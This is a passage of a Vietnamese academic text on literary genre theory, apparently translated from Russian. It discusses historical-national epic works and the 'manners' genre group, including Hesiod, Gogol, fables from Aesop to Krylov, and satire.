Điều đó có nghĩa là, những người sáng tác các tác phẩm này đều quan tâm tới sự hình thành cơ sở lịch sử và số phận của các dân tộc hoàn chỉnh, còn các tính cách con người riêng biệt, những quan hệ của họ như là sự thể hiện và bộc lộ của số phận toàn dân. Và rộng hơn, như là số phận của cả dân tộc. Thế là, các truyện cổ (xaga), các bài ca, các truyền thuyết, anh hùng ca, trường ca, trường ca trữ tình (balát), truyện kể, truyện ngắn mang nội dung lịch sử – dân tộc đã xuất hiện.
Những tính cách, những hành động, những sự kiện được phản ánh trong các tác phẩm này ra sao? Điều khác biệt nhất là, chúng đã tồn tại trong đời sống hiện thực của các dân tộc khác nhau của thời đại lịch sử đầy bão táp này. Đó có thể là những vị tộc trưởng, những dũng sĩ những bậc vua chúa, hoặc thậm chí chỉ là những con người bình thường giản dị trong nhân dân, những người đã biểu lộ một sức mạnh phi thường của ý chí, tinh thần chiến đấu dũng cảm và lòng trung thành đối với dân tộc mình. Đó là những người đã bảo vệ đất nước mình trong cuộc chiến đấu với ngoại xâm và chiến thắng quân thù, thí dụ như trong những truyện cổ (xaga) của người Airơlen về Kukhulin, trong tráng ca (bưlian) về Aliôsa Pôpôvich và Tugarin hoặc là các truyện kể Alecxanđrơ Nhêxki. Đó có thể là những tráng sĩ và những chiến sĩ đã hình thức thể loại sinh trên chiến trường trong cuộc chiến không cân sức, thí dụ như công tước Igor và Vêxêvôlốt trong “Bài ca về binh đoàn Igor” hay vua Rôlăng trong “Bài ca về Rôlăng”. Ngược lại, đó có thể là câu chuyện về bọn xâm lược tàn bạo, hiếu chiến, những kẻ say máu đổ, áp bức và nô dịch các dân tộc, từng ra lệnh đốt phá mọi làng mạc, thành phố… Ví dụ như Batưi trong “Truyện về cuộc tàn phá Radian của Batưi” hoặc Vua Pháp Xlôvích được khai thác như một vương triều đầy sự phản bội đẫm máu – trong sử biên niên nước Đức thời cổ.
Và chính những sự kiện được miêu tả trong các tác phẩm trên đã đưa đến những chiến công, niềm hân hoan phấn khởi, niềm vui và sự tự hào của nhân dân dân tộc này, nhưng cũng đưa đến sự chiến bại, chết chóc, nhục nhã và tuyệt vọng của dân tộc khác. Còn việc hiểu ý nghĩa và đánh giá một cách đầy cảm xúc những tính cách nhân vật và những sự kiện này lại theo những quan điểm xã hội và dân tộc khác nhau, dưới ánh sáng của những lý tưởng xã hội khác nhau, trong những truyền thống sáng tác truyền miệng và sáng tác văn học khác nhau, với những biện pháp phóng đại, thậm chí hoang đường khác nha. Sau đó, tất cả các cốt truyện đã được thể hiện này có thể được các ca sĩ và người kể chuyện của các dân tộc khác vay mượn với những cách hiểu mang tính đặc thù dân tộc mới và được thay thế để phù hợp với những chi tiết cụ thể của mình, đặc biệt là về tên của các nhà văn, địa điểm hành động v.v..
Trong nghệ thuật ngôn từ của các dân tộc khác nhau thời trung cổ, các tác phẩm có liên quan tới nhóm thể loại này, nhóm thể loại phản ánh không chỉ quan niệm về thế giới mà cả quan niệm về tôn giáo, đó là những bài ca sử thi, những trường ca, những truyện ngắn về nhà thờ, về các vị thánh đồ. Có những nhân vật lịch sử này nọ, nổi tiếng về những hành động mang tính công dân theo ý thức xã hội của dân tộc đó. Đôi khi, những nhân vật ấy hành động theo những quy tắc của nhà thờ, vì vậy họ được liệt vào hàng các vị thánh. Và danh tiếng của họ được các truyện kể lại với những phong cách ổn định. Tất nhiên đây không chỉ là chuyện hy sinh quên mình vì tôn giáo của các vị thánh mà cả những chiến công của họ về chiến đấu và xây dựng quốc gia. Trong văn học Nga cổ xưa, những truyện kể về Alecxanđrơ Nhêbxki hoặc về Đimitri Đônxki, người đã chiến thắng quân Tác ta trên chiến trường Kulikôvô là thí dụ. Những truyện kể trên cũng được coi là một hình thức thể loại được phân biệt bằng phong cách kể chuyện và mang một nội dung thể loại khác. Trong trường hợp này là nói đến những truyện kể anh hùng.
Như vậy là, các tác phẩm từ rất xa xưa của nhóm thể loại “lịch sử dân tộc” – đó là những bài ca vô danh về các chiến tích, những chuyện cổ anh hùng (xaga), những tráng sĩ ca, những truyện ngắn về chiến trận, những truyền thuyết về các anh hùng, những truyện kể về chiến trận v.v…
Trong quá trình phát triển của chính nhóm thể loại này, nhóm thể loại lớn so với các nhóm thể loại khác – tính chất “tiền nghệ thuật” đã dần dần chuyển thành nghệ thuật với một ý nghĩa đặc biệt. Trong quá trình sáng tác, những tác phẩm này, bên cạnh những sự kiện sốt dẻo còn phản ánh những sự kiện có thực trong những hình tượng và cốt truyện của mình hoàn toàn phù hợp và ngẫu nhiên. Dần dần, trong phần lớn những câu chuyện đã được mô phỏng lại, cải biến lại, những hình tượng và cốt truyện mới có thể có tính khái quát nghệ thuật, mang tính chỉnh thể và có quy luật hình thức của mình. Nhưng phần lớn những truyện về các vị thánh đồ lại không đi theo khuynh hướng tư tưởng tình cảm này nên các sự kiện hầu hết vẫn được giữ nguyên. Trong nhiều trường hợp, điều này tất nhiên phụ thuộc vào trình độ định hướng của người kể chuyện hoặc nhà văn này hay khác về ý nghĩa nghệ thuật riêng biệt của tác phẩm.
Có thể lấy quan điểm của “Bài ca về binh đoàn Igor” và “Truyện về cuộc tàn phá Radian của Batưi” để so sánh. Trong tác phẩm thứ nhất, tất cả phụ thuộc vào một ý đồ sáng tác thống nhất, còn trong tác phẩm thứ hai, tác giả phần nhiều lệ thuộc vào hoàn cảnh có thực của các sự kiện đã xảy ra.
Một vài thể loại thuộc sáng tác dân gian truyền miệng, đặc biệt là thơ ca, có quan hệ về nhóm thể loại đang được xem xét, chúng đã từng tồn tại trong một môi trường dân tộc – xã hội nhất định, một thời đại nhất định, thì ngược lại, luôn xuất hiện một hệ thống thể hiện kết cấu – ngôn từ cụ thể bền vững, độc đáo, những đặc điểm mang tính quy luật phong cách(1), đáp ứng hoàn toàn những đặc điểm về nội dung tư tưởng của những tác phẩm ấy. Nhưng, những đặc điểm phong cách lịch sử cụ thể của những truyện thơ anh hùng đã được chỉnh lý nhiều lần, có thể từ thời xa xưa đã trở thành phương tiện phát hiện ra những tình trạng phi anh hùng. Và thế là trong phong cách này có thể xuất hiện cả những tác phẩm của các nhóm thể loại khác.
Thế là công việc lại liên quan tới một vài tráng sĩ nào (bưlina) Nga trong nhiều thế kỷ tồn tại đã hấp thụ những nhu cầu tư tưởng của các trình độ phát triển xã hội khác nhau. Các nhà folkllore thường phân loại tráng sĩ ca Nga thành nhiều nhóm – nhóm những tráng sĩ ca chuyên về các anh hùng, về các câu chuyện cổ tích, về nội dung đời sống – xã hội. Chúng ta nhận thấy rằng, bưilina là một thể loại và tất nhiên cũng có những biến thể về đề tài. Chúng ta cũng đi đến một nhận xét rằng, vấn đề ở đây cần giải quyết một cách khác. Đó là một hình thức thể loại đã được cải biên trong lịch sử theo một bút pháp anh hùng nhất định xét về nguồn gốc, hình thức đó còn được sử dụng mãi về sau nữa để thể hiện các phương diện nội dung thể loại khác. Mà các phương diện nội dung này có thể rất khác nhau.
Vì vậy, trong việc phân loại các tráng sĩ ca, cũng như truyện cổ tích lẽ ra có thể sử dụng hệ thống thuật ngữ có hạn của folkllore đã ít nhiều có độ chính xác. Những tráng sĩ ca – cổ tích là gì? Tráng sĩ ca – đó là truyện kể bằng thơ ca truyền miệng. Còn truyện cổ tích đó là những truyện kể văn xuôi truyền miệng. Còn các loại này hay khác đều khác nhau về nội dung thể loại của mình. Thí dụ, truyện cổ tích Nga “Truyện cổ tích về Ersa Ermôvich”. Xuyên suốt câu chuyện không phải là cuộc phiêu lưu của Ersa mà là những phong tục xã hội, chủ yếu là phong tục về xử án, mà những phong tục đó chứa đựng tính hài với sự giúp đỡ của rất nhiều mẩu chuyện phiêu lưu, do đó, cần xếp nó vào nhóm thể loại “ghi chép phong tục”. Nhưng khi nói về những câu chuyện cổ tích – tráng sĩ ca, thí dụ tráng sĩ ca “Xátcô”, tác phẩm này chứa đựng nhiều câu chuyện cổ tích khác nhau, được gọi là truyện cổ tích thần kỳ, trong đó, các lực lượng tự nhiên như các con vật được nhân cách hóa, giúp đỡ con người để đạt tới những mục tiêu cao cả. Vì vậy gọi “tráng sĩ ca – cổ tích” là quá rộng và không xác định.
Cũng như thế với nhóm tráng sĩ ca mang nội dung “đời sống – xã hội”. Cái tên này thực ra cũng chưa thật thuyết phục. Thí dụ, tráng sĩ ca “Trurin Plenkôvich” là gì? Bằng sự tái tạo tưởng tượng, cốt truyện của tác phẩm này không thuộc phong cách tráng sĩ ca mà thuộc về phong cách truyện kể Nga thế kỷ 17, như kiểu tác phẩm “Karp Xutulôv”, hoặc như những truyện hao hao giống tập hợp truyện “Câu chuyện mười ngày” của Bôcatxiô, và chúng ta đã có một tác phẩm xuất sắc, tất nhiên, thuộc một thời đại lịch sử, một môi trường xã hội nào đó. Còn có cả những tráng sĩ ca khác, tương tự. Chúng ta hãy nhớ tới dù chỉ cuộc phiêu lưu của Vaxili Buxlaep với đội quân của mình hay chuyện phiêu lưu của Diuk Xtêphanôvich, con người cường tráng và can đảm hơn cả chính công tước Vlađimia. Tất cả các tác phẩm đó đều là các tráng sĩ ca về hình thức thể loại và về phong cách, nhưng chúng không hề thuộc về các tác phẩm thuộc nhóm nội dung “lịch sử – dân tộc”.
Những tác phẩm ra đời từ rất sớm thuộc về nhóm lịch sử – dân tộc được xây dựng trên cơ sở “thế kỷ của những anh hùng” chúng được bảo tồn ý nghĩa của mình trong thời kỳ lịch sử phát triển xã hội tiếp theo và còn giữ nguyên trong nhiều trường hợp do những người vô danh lưu truyền, và những tác phẩm đó đã sống trong ý thức xã hội dân tộc. Nhưng thời kỳ sáng tác tích cực ấy đã lui vào quá khứ. Còn đến thời đại Phục hưng, vị trí chủ đạo trong văn học nghệ thuật dần dần thuộc về nhóm thể loại tiểu thuyết.
Muộn hơn nữa, khi hình thành chế độ chính trị của các nhà nước quân chủ và trên cơ sở những hệ tư tưởng công dân tiến bộ, xuất hiện khuynh hướng văn học mang tính giai cấp, nhu cầu chú ý tới những tính cách và tình huống lịch sử – dân tộc cũng được thể hiện, ngay cả trong phạm vi sáng tác cá nhân.
Vậy là trong văn học các nước khác nhau, xuất hiện những trường ca sử thi đồ sộ, tiếp tục truyền thống từ thời trường ca Hômerơ, mà trong thời kỳ này, những trường ca ấy đã nảy sinh từ những sáng tác dân gian mang tính liên kết. Trong văn học Lamã, bước đầu kể đến Viêcgin với tác phẩm “Ênêit”. Tác phẩm này, mặc dù những đoạn viết về chiến tranh và các anh hùng chỉ ở phần cuối cùng, phần ba của tác phẩm, nhưng đã thể hiện và mở rộng tới những vấn đề lịch sử – dân tộc nói chung. Cũng như vậy, có thể nói đến tác phẩm “Henriat” của Vônte, về “Rôsiatd” của Khêraxkốp và những tác phẩm tương tự khác.
Sự mô phỏng của những tác phẩm này, tất nhiên, có thể nhận biết rõ ràng ngay lập tức, nhưng nó lại không phải là sự phóng tác. Sự mô phỏng ấy gắn liền chặt chẽ với hình thức trường ca, nhưng nội dung của mỗi tác phẩm đó lại là mới mẻ, riêng biệt. Hạn chế nghệ thuật của những tác phẩm này trong một phạm vi khá lớn là do bị quy định bởi những định kiến tư tưởng trong ý đồ nhà văn, bởi tính khuynh hướng và sự giáo huấn, và tất nhiên cả tính “chuẩn mực” của việc sáng tạo các tính cách.
Trong thời kỳ kế tiếp của sự phát triển các dân tộc, loại văn học tự sự mang khuynh hướng tiểu thuyết – công dân ở các nước khác nhau có ít tác phẩm phát triển phong phú trên phương diện nhóm thể loại lịch sử – dân tộc. Nội dung thể loại này đa phần chiếm ưu thế trên lĩnh vực kịch. Những ý đồ của một loạt tác gia nhà thơ – nhà tiểu thuyết như Seli với tác phẩm “Cuộc khởi nghĩa của Ixlam”, Bairơn với “Người tù Silơnxki”, Rađiép với “Sóng”, Rưlêp với “Chiến tranh”, Lécmôntốp với “Idơmain – Be” v.v… muốn tạo nên những nguyên tắc và những hình thức mới của thể loại tự sự thơ ca lịch sử – dân tộc đã không đạt được những kết quả có ý nghĩa.
Nhưng tình hình lại sáng sủa hơn một chút với ý đồ tương tự trong lĩnh vực văn xuôi. Chúng ta có thể thấy trước hết đó là “Tarat Bunba” của Gôgôn, “Con gái viên đại uý” của Puskin và “Tin Ulensingen” của Kôxter. Trong những tác phẩm này chẳng có cái gì chung hết. Tất cả những tác phẩm đó đều không thể hiện ngay lập tức nội dung thể loại lịch sử – dân tộc cơ bản của mình. Puskin đã viết rằng, truyện của Gôgôn giống những tác phẩm của Oantơ Xcốt. Những cảnh đầu tiên của truyện thực sự gần giống với các tiểu thuyết. Nhưng tiếp đến là Bunba cùng các con trai của mình tham gia tích cực vào đời sống vùng chiến khu Xéttri và sau đó là cuộc chiến với người Balan, hơn nữa, còn có chuyện gian díu tình yêu đan xen vào những sự kiện anh hùng này đã nhấn mạnh và làm tăng thêm cảm hứng bi kịch của các sự kiện. Còn khi tác phẩm “Con gái viên đại uý” được xây dựng, ngay cả câu chuyện mang tính tiểu thuyết về mối quan hệ giữa Grinhốp, Masa, Svabrin cũng chỉ nhằm che giấu một phương diện quan trọng nhất của nội dung truyện – nhận thức về sự diệt vong tất yếu mang tính bi kịch của cuộc khởi nghĩa nông dân dưới sự lãnh đạo của Pugátsốp. Còn nhà văn Tin của Kôxter, chỉ ở phần đầu của tác phẩm là giống như các nhân vật trong những tiểu thuyết phiêu lưu – ranh mãnh, còn sau đó, anh ta trở thành “ghedơ”, người anh hùng với ý nghĩa đúng của từ này, và tính cách của nhân vật trưởng thành dần trong cuộc đấu tranh giải phóng dân tộc. Đúng như trong phần đầu tác phẩm, có sự miêu tả song song về cuộc đời của hai nhân vật Tin và Philip, làm cho cuộc phiêu lưu của Tin tăng màu sắc công dân – dân tộc. Nói chung, tác phẩm của Kôxter không phải là tiểu thuyết mà là một truyện mang nội dung lịch sử – dân tộc cỡ lớn. Cũng còn một số tiểu thuyết cũng mang nội dung thể loại tương tự, thí dụ như “Rôb Rôi” hoặc là “Người đẹp của Piôt”.
Nhưng những tác phẩm tự sự có nội dung thể loại như thế là hiếm có trong văn học thế kỷ XIX. Tiểu thuyết đã trở thành một trong những thể loại dẫn đầu. Và chỉ ít lâu sau, đến đầu thế kỷ XX, sau chiến tranh thế giới và cách mạng Tháng 10 ở nước Nga, sự tăng cường mạnh mẽ của cuộc đấu tranh chính trị – xã hội trong hàng loạt nước ở châu Âu, sự xuất hiện nội dung xã hội chủ nghĩa mới mẻ, một lần nữa, trong chừng mực nào đó, làm thay đổi tương quan các nhóm thể loại khác nhau. Việc xuất hiện trong văn học Nga những tác phẩm như “Người mẹ” của Gorki, “Suối thép” của Xêraphimmôvích, “Trapaep” và “Bạo động” của Phuốcmanôp, “Thép đã tôi thế đấy” của N.Ôtxtơrôpxki, “Dôia” của Aligây và những tác phẩm khác tương tự, đã khẳng định điều đó một cách rõ ràng. Tất cả là những truyện ngắn và trường ca mang nội dung thể loại “lịch sử dân tộc”, phản ánh một giai đoạn mới cả sự phát triển xã hội. Nhưng nhiều tác phẩm trong những tác phẩm kể trên vẫn có sự khác biệt đáng kể về mặt thể loại với những tác phẩm nổi bật nhất của giai đoạn “thế kỷ của những anh hùng”. Vấn đề này sẽ được chỉ ra trong chương kế tiếp.
Như vậy, khi tập trung vào nhóm thể loại lịch sử – dân tộc trong các nhóm thể loại khác, chúng ta đã phân biệt nó theo đặc điểm lặp lại mang tính lịch sử, chung nhất của hệ vấn đề có liên quan với những tác phẩm đó. Những đặc điểm này là ở chỗ, điều các nhà văn, nhà thơ, các ca sĩ, người kể chuyện quan tâm đến trên cơ sở đời sống xã hội của thời đại mình hoặc những vấn đề trong quá khứ, đó là sự hình thành toàn bộ xã hội – dân tộc, nguồn gốc hoặc những xung đột bên trong của các dân tộc và các cộng đồng khác, hoặc là những cuộc nội chiến giữa các giai cấp trong xã hội, giữa quần chúng nhân dân và quyền lực nhà nước v.v… Quan điểm thể loại độc đáo của nội dung, quan điểm đã quy định đặc điểm về mâu thuẫn, xung đột của các tác phẩm thuộc nhóm thể loại này là ở chỗ: chúng được xây dựng trên những mâu thuẫn mang tính chính trị, còn những quan hệ cá nhân (thí dụ chuyện tình ái) có thể chỉ có nghĩa bổ trợ thứ yếu mà thôi.

III. THỂ LOẠI “GHI CHÉP PHONG TỤC” TRONG TỰ SỰ
Trước khi chuyển qua những đặc điểm của tiểu thuyết và các thể loại khác, cần chú ý tới một nhóm thể loại, nhóm này đã xuất hiện một cách có quy luật trước cả nhóm thể loại tiểu thuyết trong nền văn học thế giới. Nhóm thể loại này được phân biệt với các nhóm khác nhờ sự khác biệt khá lớn về cảm hứng của những tác phẩm có liên quan. Có lẽ, trong một chừng mực nào đó, các nhà nghiên cứu văn học chưa chú ý tới sự nảy sinh và phát triển nhóm thể loại này, do đó, tính độc đáo loại hình về những vấn đề của toàn bộ nhóm thể loại này cũng chưa được tìm hiểu thấu đáo. Nhóm thể loại này vẫn đang tồn tại trong lịch sử văn học các dân tộc khác nhau, có thể nói rằng, vẫn đang “vi hành”. Cần thiết phải phân biệt và tìm hiểu ý nghĩa của nhóm thể loại này.
Chúng ta lại nhớ rằng, trong phần đầu của chương giới thiệu về hai tác phẩm có liên quan tới nhóm này – trường ca Hylạp cổ của Hêđiôđ “Lao động và ngày tháng” và trường ca Pháp thời trung cổ “Truyện về hoa hồng” – chúng tôi đã gọi những tác phẩm này là “ghi chép phong tục”.
Trường ca của Hêđiôđ được viết từ rất sớm, trước cả những trường ca được chỉnh lý về văn học như “Iliat” của Hômerơ. Nhưng trường ca thứ hai (“Iliat”) dưới hình thức bài ca dân gian nguyên thuỷ của mình là sự thể hiện nghệ thuật về một giai đoạn rất sớm của sự phát triển xã hội – giai đoạn “thế kỷ của những anh hùng” thời Hylạp cổ đại. Còn trường ca đầu (Lao động và ngày tháng) thể hiện một giai đoạn muộn hơn, khi các cộng đồng dân cư Hylạp đã bộc lộ rõ những mâu thuẫn xã hội, và trên cơ sở đó, xuất hiện những quan niệm về đạo đức, quyền lực, kinh tế mới.
“Trường ca của Hêđiôđ – I.M. Trônxki viết, – là một ý đồ về việc làm sáng tỏ có hệ thống về thế giới và cuộc đời theo quan niệm của những người dân cày tự do, họ lao động bền bỉ trên mảnh đất bé tẹo của mình và luôn bị chèn ép bởi bọn “chúa đất”, những kẻ chuyên tạo nên những tòa án bất công, phi lý. Hêđiôđ thường giải thích thế giới bằng những phương tiện dân gian: thần thánh, ngụ ngôn, thành ngữ, luật lệ của trí tuệ nhân dân, nhưng việc hệ thống hóa những tài liệu này buộc phải chỉnh lý theo yêu cầu của thế giới quan nhận thức tương phản với tư tưởng dòng họ quý tộc và tương phản với cả mong muốn củng cố thêm những quan điểm đạo đức”(1).
Trước mắt chúng ta là một thế giới hoàn toàn khác so với thế giới của “Iliat”. Và những mục đích của trường ca Hêđiôđ là khác hẳn – đó không phải là tiếng tăm của những anh hùng, không phải là các vị thần đã chỉ đạo cuộc chiến tranh lịch sử – dân tộc của họ, mà là sự vạch trần những đạo đức xã hội xấu xa trong toàn xã hội và thời đại của mình, là niềm khao khát thấu hiểu và làm sáng tỏ những khuynh hướng đạo đức tốt đẹp. Mặc dù trường ca được viết dưới hình thức giáo huấn, được lưu truyền do nhà thơ truyền cho em trai của mình Perxa, người đã tranh chấp với nhà thơ về di sản, nhưng cả điều đó lẫn những điều khác cũng không làm nổi bật “những tính cách dẫn đầu” trong cốt truyện của tác phẩm; sự kiện tụng của họ – chỉ là nguyên cớ cho việc phản ánh đạo đức xã hội của hoàn cảnh và thời đại. Như vậy, có thể nói rằng “Lao động và ngày tháng” không phải là trường ca về “lịch sử – dân tộc”, cũng không phải là trường ca tiểu thuyết, mà là trường ca về “ghi chép phong tục”.
Có rất nhiều tác phẩm như vậy trong văn học thế giới dưới các hình thức thể loại khác nhau: cả truyện cổ tích, cả những bài ca, cả những trường ca, cả truyện ngắn lẫn truyện kể. Để làm đơn giản và ngắn gọn, để quy ước về toàn bộ nhóm thể loại này, có thể sử dụng một thuật ngữ trừu tượng hơn, ngắn gọn hơn và vì thế thuận tiện hơn – thể loại “thế sự” (êtôlôgi)(1).
Văn học “thế sự” bao gồm, tất nhiên, nhận thức về các lề lối đạo đức – công dân của đời sống xã hội, các tình huống xã hội với những chế độ riêng biệt của nó và bộc lộ quan hệ tư tưởng, tình cảm đối với các tình huống này, những quan hệ thường được đẩy cao tới mức tạo thành cảm hứng. Nhưng các tình huống xã hội có thể hoàn toàn khác biệt, khiến cho các cảm hứng vốn được tạo nên từ việc thấu hiểu những tình huống đó cũng khác biệt sâu sắc.
Ở những tác phẩm mang nội dung “lịch sử – dân tộc” về thể loại, như đã chỉ ra, thường phản ánh những sự kiện có ý nghĩa trong đời sống công dân của một dân tộc hoàn chỉnh, hoặc là trong đời sống hàng ngày của một nhân vật riêng biệt với những đặc điểm xã hội của nó. Và nhân vật chính của những tác phẩm ấy luôn luôn đóng vai trò tiên phong này khác trong tiến trình một sự kiện đang xảy ra. Họ thường tạo nên và hướng tới việc làm phát triển những sự kiện này bằng những hành động của mình, những hành động bắt nguồn từ đặc thù mang tính lịch sử – xã hội.

Khác với các tác phẩm này, các tác phẩm mang nội dung “thế sự” về nội dung loại thể, thường chú ý tới những tính cách xã hội được miêu tả, trước hết là về phương diện những bản chất đạo đức được lặp đi lặp lại thường xuyên – mang tính tiêu cực hoặc tích cực, hoặc là những bản chất này khác trong sự thống nhất của các đặc điểm đối lập. Nếu tất cả những tác phẩm này đều phản ánh những sự kiện không bình thường nào đó trong đời sống các nhân vật của mình, phản ánh những quan hệ nào đó nảy sinh giữa các nhân vật, thì phần lớn là tập trung thể hiện tính cách các nhân vật và sự tồn tại thường xuyên những bản chất đạo đức (hoặc phi đạo đức) của họ. Vì thế, những sự kiện được miêu tả trong các tác phẩm “thế sự” thường có đặc điểm bổ sung. Chúng đóng vai trò như những thứ giấy thử đối với việc thể hiện các thành phần “hóa học” – xã hội của môi trường được miêu tả. Và vì thế, mặc dù các nhân vật này hay khác các tác phẩm loại này có thể nhìn bề ngoài là nhân vật chính, có thể giữ vị trí quan trọng trong phần nổi của tác phẩm, nhưng tất cả chúng khôg phải là nhân vật nổi bật trong cốt truyện với ý nghĩa này, có nghĩa là các sự kiện cấu thành cốt truyện không bao trùm sự phát triển của những tính cách này và lịch sử của chúng.
Biêlinxki đã nhận thấy một cách đúng đắn về “Quan thanh tra” của Gôgôn, thật là vô nghĩa “khi nhiều người cho rằng Khlextakôp là nhân vật hài kịch, là khuôn mặt chính của tấn hài kịch”, rằng trên thực tế nhân vật này “đã tạo nên sự khiếp sợ tưởng tượng của dân thành phố”, rằng “nhân vật của tấn hài kịch – đó là ngài thị trưởng như người điều khiển thế giới những bóng ma này”(1). Đúng nhất phải nói rằng: “nhân vật của tấn hài kịch – đó là toàn bộ “thế giới bóng ma”, toàn bộ lũ quan chức và địa chủ đã bị ngài thị trưởng điều khiển. Gôgôn đã tin tưởng phát biểu thông qua lời phát ngôn của “nhân vật thứ hai” trong số “những cặp yêu nghệ thuật” của tác phẩm “Sự du ngoạn sân khấu”: “Không, hài kịch phải tự nó đan kết nên bằng toàn khối của nó, thành một nút to chung. Thắt nút phải bao trùm tất cả mọi nhân vật chứ không phải một hay hai, phải động chạm tới điều ít nhiều gây nên xúc động của các nhân vật. Ở đây bất kỳ ai cũng là nhân vật chính, làm dòng chảy và diễn biến vở kịch, khiến cả bộ máy rung chuyển”(2).
Chúng ta đã đi đến kết luận về hài kịch – một loại kịch mang nội dung “thế sự” về pháp luật, mặc dù để làm đơn giản việc giải thích các vấn đề có lẽ chỉ nên bàn về các thể loại tự sự. Nhưng ngay cả trong tự sự cũng có vấn đề như vậy. Ai là nhân vật chính của “Những linh hồn chết”? Thoạt đầu – đó là Tsisicôp. Nhưng trên thực tế, tác giả đã dẫn y tới mục đích của mình, đó là Khlextakôp. Và ở đây, nhân vật “chính” không phải là kẻ lừa dối – đầu cơ mà là tất cả những ai tin vào hắn, những ai loan tin và ngồi lê mách lẻo về Tsisicôp với những “linh hồn chết”, kể cả những ai đã đi chôn viên kiểm soát, người đã chết vì nỗi khiếp sợ bị trừng phạt do những câu chuyện đơm đặt này. Và ở đây, “dòng chảy và diễn biến” của tác phẩm đã gây nên sự “rung chuyển của cả bộ máy…”.
Do tất cả những đặc điểm đã chỉ ra, các tác phẩm thuộc nhóm thể loại “thế sự” thường có sự trần thuật – miêu tả ở phạm vi lớn hơn so với các nhóm khác. Và thường thường, trong những tác phẩm đó, sự miêu tả nhiều hơn trần thuật, nếu coi “miêu tả” không chỉ là phản ánh cái “từng đã tồn tại” (hoàn cảnh, phong cảnh, chân dung) mà cả cái “đang tồn tại” như là cái vẫn đang xảy ra, còn “trần thuật” tức là kể về cái “đã xảy ra một lần nào đó rồi”. Vì vậy, chính trong nhóm thể loại “thế sự” đã xuất hiện từ rất sớm một hình thức thể loại rất đặc thù, đó là truyện ngụ ngôn, và muộn hơn, một hình thức thể loại khác cũng không kém phần đặc thù – bút ký nghệ thuật.
Sự xuất hiện của truyện ngụ ngôn, chính xác hơn là sự chuyển hóa thành truyện ngụ ngôn, một loại tác phẩm rất ngắn, mang tính tượng trưng với mục đích miêu tả bóng gió những tính cách và thói quen, đạo đức con người, thông qua thói quen của các loại động vật – đây là một trong những thể loại cổ xưa nhất, sự xuất hiện này là dấu hiệu rất quan trọng và rất đáng lưu ý của việc nảy sinh nhóm thể loại “thế sự” mới trong văn học dân gian và văn học nhiều dân tộc.
Truyện ngụ ngôn – đó là những tác phẩm mang nội dung trần thuật, phản ánh một khung cảnh, một sự kiện bất thường, một xung đột nào đó về quyền lợi trong đời sống các con vật (nhưng đôi khi là cả con người), nhưng sự bất thường hoặc những xung đột như vậy không làm phát triển các tính cách nhân vật mà chỉ là thể hiện những bản chất phức tạp cố hữu, lặp đi lặp lại – phần lớn các trường hợp này là các bản chất tiêu cực.
Trong sáng tác dân gian truyền miệng, truyện ngụ ngôn về hình thức của mình là những tác phẩm văn xuôi – đó là truyện cổ tích (xkadơka). Ở châu Âu, truyện ngụ ngôn sớm nhất hiển nhiên là những truyện ngụ ngôn về chàng nô lệ mang tính truyền thuyết Êdốp (thế kỷ thứ VI trước công nguyên). Nhưng chúng cũng xuất hiện cả trong văn học dân gian nhiều dân tộc khác nữa. Trong văn học dân gian Nga thời trung cổ, những truyện cổ tích mang tính ngụ ngôn tồn tại đến tận thế kỷ XVII, rồi được ghi chép lại và chuyển hóa thành truyện (pôvêt). Thí dụ “Truyện về Ersa Ersôvich, con trai của Setinnhicốp” khá nổi tiếng. Sau đó, Sêđrin còn tiếp tục truyền thống này trong những “truyện cổ tích” văn học của mình.
Bên cạnh đó, trong sáng tác thơ ca của nhà thơ Hylạp cổ là Arkhilôkhơ (thế kỷ VII trước công nguyên) đã xuất hiện những tác phẩm ngụ ngôn viết bằng thơ đầu tiên – ngụ ngôn “trường thiên”. Một trong số đó là truyện ngụ ngôn “Cáo và Khỉ”. Có thể ghi nhận một cách quan trọng rằng cả Edốp và Arkhilôkhơ, tương tự như Hêđiôđ, là những người đại diện cho tầng lớp dưới đáy xã hội, những kẻ khốn cùng và bị áp bức. Họ đóng vai trò người tố cáo cay độc những thói quen xấu xa của xã hội Hylạp phân chia thành các giai cấp. Những truyện ngụ ngôn của họ, về bản chất, là châm biếm bóng gió.
Truyền thống ngụ ngôn viết bằng thơ của Arkhilôkhơ trong văn học Lamã được Phêđơrơ – người nô lệ, sau đó là người nông nô, kế tục dưới cái tên “Những ngụ ngôn của Êdốp”, bao gồm năm tập với những mẩu truyện nhỏ mà phần lớn những truyện đó là ngụ ngôn theo ý nghĩa riêng của từ. Theo ý kiến của Phêđơrơ, truyện ngụ ngôn, đó là thể loại của những người nô lệ, những người mất tự do. Trong việc thể hiện tư tưởng của mình, họ bắt buộc phải nói bóng gió, nhưng đã chỉ ra được những thói hư tật xấu của xã hội hơn những thể loại khác. Và những truyện ngụ ngôn đầu tiên của Phêđôrơ, khi ông chưa bị truy nã, chứa đầy cảm hứng châm biếm sắc bén.
Còn sau đó, với nội dung mới, những ngụ ngôn thơ ca mang tính văn học đã đạt đến giai đoạn nở rộ, đó là vào thời kỳ muộn hơn nhiều với ngòi bút của các nhà thơ chủ nghĩa cổ điển – ở Pháp là Laphôngten, ở Nga – Sumarakốp và Khêmnhisêr. Với tác giả Krưlốp, nhờ khuynh hướng dân chủ và chủ nghĩa hiện thực, thể loại ngụ ngôn trong sáng tác của ông đã đạt đến đỉnh cao không chỉ trong phạm vi văn học dân tộc mà cả văn học thế giới.
Trong văn học cổ xưa, còn có một thể loại “thế sự” nữa, không liên quan tới truyền thống miêu tả tượng trưng thông qua các con vật như trong văn học dân gian – đó là thể loại châm biếm. Với cái tên gọi này, chúng ta hiểu rằng không phải bất kỳ một tác phẩm nào có liên quan tới sự mỉa mai hoặc châm biếm cay độc về đời sống cũng thuộc thể loại này. Các nhân vật và các sự kiện anh hùng và thần thoại cũng có thể được miêu tả một cách chế giễu, châm biếm. Sự chế giễu, bắt nguồn từ tính chất khôi hài của các tính cách và được đẩy cao đến mức trở thành cảm hứng châm biếm, cười nhạo, có thể lan rộng ra cả truyện vừa và tiểu thuyết. Đặc biệt, những tác phẩm “phong tục, tập quán”, “thế sự” được gọi là châm biếm, là những tác phẩm đã làm sáng tỏ một cách châm biếm tình trạng tiêu cực của xã hội ở phạm vi này hay khác, những tác phẩm này gần giống với ngụ ngôn nhưng không bao hàm việc chú ý tới sự phát triển tính cách các nhân vật chính, mà chú ý tới cách thể hiện của họ, cách miêu tả, trần thuật phù hợp với bản chất của những tính cách này theo sự suy cảm của tác giả.
